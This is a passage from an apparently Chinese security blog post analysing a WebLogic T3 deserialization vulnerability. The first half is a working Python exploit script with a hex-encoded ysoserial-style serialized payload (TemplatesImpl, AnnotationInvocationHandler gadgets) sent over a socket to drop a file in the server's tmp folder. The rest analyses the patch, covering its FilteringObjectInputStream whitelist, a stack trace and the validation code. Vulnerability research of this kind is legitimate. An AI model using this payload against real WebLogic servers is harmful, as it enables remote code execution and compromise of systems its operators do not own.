72\x31\x31\x37\x37\x34\x32\x34\x32\x39\x33\x31\x30\x33\x36\x38\x3B\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x2F\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x38\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x34\x00\x0E\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\x00\x1B\x00\x02\x00\x0C\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x38\x00\x0E\x00\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\x0F\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\x00\x19\x00\x00\x00\x04\x00\x01\x00\x1A\x00\x08\x00\x29\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x24\x00\x03\x00\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\x4C\xB8\x00\x2F\x12\x31\xB6\x00\x35\x57\xB1\x00\x00\x00\x01\x00\x36\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x23\x00\x10\x00\x09\x75\x71\x00\x7E\x00\x0B\x00\x00\x01\xD4\xCA\xFE\xBA\xBE\x00\x00\x00\x32\x00\x1B\x0A\x00\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\x6D\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x25\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\x61\x0C\x00\x0A\x00\x0B\x07\x00\x1A\x01\x00\x23\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x01\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x1F\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x3C\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x12\x00\x00\x00\x02\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x16\x00\x10\x00\x09\x70\x74\x00\x04\x50\x77\x6E\x72\x70\x77\x01\x00\x78\x73\x7D\x00\x00\x00\x01\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x08\x78\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x78\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x74\x00\x08\x66\x35\x61\x35\x61\x36\x30\x38\x71\x00\x7E\x00\x05\x78\x76\x71\x00\x7E\x00\x03\x78' payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload=payload+payloadObj \# payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' \# print len(payload) \# adjust header for appropriate message length payload=struct.pack('>I',len(payload)) + payload[4:] \# print len(payload) print '[+] Sending payload and creating 0422 file in tmp folder' \# print payload sock.send(payload) time.sleep(1) print 'Successfully' ``` 5. 补丁分析 ======= 最新的补丁从侧面修复了这一漏洞。补丁没有检测拦截MashalledObject类,而是在wlclient.jar中加入拦截类FilteringObjectInputStream并设置了白名单,从而拦截包含恶意类的LinkedHashSet类型数据,如下。 白名单: ![img](https://shs3.b.qianxin.com/butian_public/f683553f5a4652f1ba5ad545452253db89721dd9113bd.jpg) 调用链: ```php **at weblogic.utils.io.FilteringObjectInputStream.validateReturnType(FilteringObjectInputStream.java:170)** at weblogic.utils.io.FilteringObjectInputStream.resolveClass(FilteringObjectInputStream.java:65) at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:149) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1515) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) **at weblogic.utils.io.FilteringObjectInputStream.readObjectValidated(FilteringObjectInputStream.java:127)** at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:89) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:55) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:298) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:228) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:520) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:507) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:511) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:477) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) ``` 可知,在FilteringObjectInputStream.validateReturnType方法处中断程序,此方法如下。 ```php public void validateReturnType(Class returnType) throws InvalidClassException { if (this.expectedType != null || this.expectedTypes != null) { try { if (returnType != null) { if (this.expectedType == null) { for(int i = 0; i < this.expectedTypes.length; ++i) { if (this.expectedTypes[i].isAssignableFrom(returnType)) { return; } } String classTypes = "[ "; for(int i = 0; i < this.expectedTypes.length; ++i) { if (i > 0) { classTypes = classTypes + ", " + this.expectedTypes[i].getName(); } } classTypes = classTypes + "]"; throw new InvalidClassException("Expected type of " + classTypes + " but actual type was " + returnType.getName()); } if (!this.expectedType.isAssignableFrom(returnType)) { throw new InvalidClassException("Expected type of " + this.expectedType.getName() + " but actual type was " + returnType.getName()); } } } finally { this.expectedType = null; this.expectedTypes = null; } } } } ``` 当输入的数据类型不在expectedTypes白名单列表中时,会抛出异常,并打印出当前输入数据类型不符的信息,如下。 ![img](https://shs3.b.qianxin.com/butian_public/f262705d863f2361f86725d41ed8a1d67a05e5daabe5f.jpg)
发表于 2021-04-27 15:27:48
阅读 ( 5491 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!